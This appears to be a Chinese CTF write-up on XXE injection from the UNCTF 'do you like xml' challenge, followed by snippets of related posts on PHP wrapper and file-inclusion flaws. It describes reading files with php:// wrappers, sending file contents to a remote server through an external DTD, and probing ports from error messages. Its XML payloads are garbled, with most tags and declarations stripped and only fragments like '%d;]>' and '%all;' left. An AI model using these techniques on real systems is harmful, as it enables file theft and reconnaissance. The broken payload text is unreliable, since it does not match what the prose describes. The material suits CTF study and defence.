在做unctf時遇到一道web題,是xml的xxe漏洞(do you like xml),當時沒做出來,沒反應過來這個知識點,後來經人指點稍微理解了一些關於這個的漏洞,又在判作業中看到了這個知識點,所以決定記錄下來
xml是用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。xml文件結構包括xml宣告、dtd文件型別定義(可選)、文件元素。
這道題可以通過偽協議讀取flag.php的內容,從而getflag
<?xml version="1.0"?>
]>
>
>
&test;
username
>
>
123password
>
user
>
xml當被允許引用外部實體的時候,就存在有被注入的危險,注入的方式有很多,如下
<?xml version="1.0"?>
]>
>
>
&content;
name
>
note
>
<?xml version="1.0"?>
%d;]>
>
>
&b;name
>
note
>
xxe.dtd的檔案內容為
用php偽協議讀取任意檔案,當資料無回顯的時候還可以將資料傳送到遠端伺服器進行讀取
<?xml version="1.0"?>
xxe.dtd的內容為
% send system ''>"
>
%all;
可以通過返回的錯誤資訊來檢測目標ip的埠開放情況
<?xml version="1.0"?>
]>
>
&xxe;
test
>
這種方式可以探測到目標的80埠,通過返回的「connection refused」可以知道該80埠是未開放的,若返回的是"http request failed!",可以知道80埠是開放的。 php偽協議漏洞 某 CMS 的漏洞挖掘和分析
信安之路 xxe漏洞基礎知識,網上很多。值得一提的是版本號,想要利用 xxe 需要注意 php 的版本號。其實是libxml的版本號要小於等於 2.8.0。這一點很重要。復現的環境是使用phpstudy的php5.4版本。一開始使用5.6 版本死活不成功。怪自己太蠢。全域性搜尋關鍵字 xml loa...
檔案包含與偽協議
說明 include 函式對檔案字尾名無要求,而對其中的語法有要求,即使字尾名為txt,jpg也會被當做php檔案解析,只要檔案內是形式就可以執行,但是如果不是php語法的形式,即使字尾為php,也無法執行。用於訪問本地檔案系統的檔案條件 allow url fopen off on allow u...
php檔案包含 偽協議 檔案上傳漏洞利用例項
1.上傳檔案過濾了字尾名和mime型別,files pic type 是由瀏覽器傳輸的檔案型別決定,但是mime content type 是由php 內建方法判斷檔案型別 2.任意檔案包含 f get f include once sys config.php include f 利用zip或ph...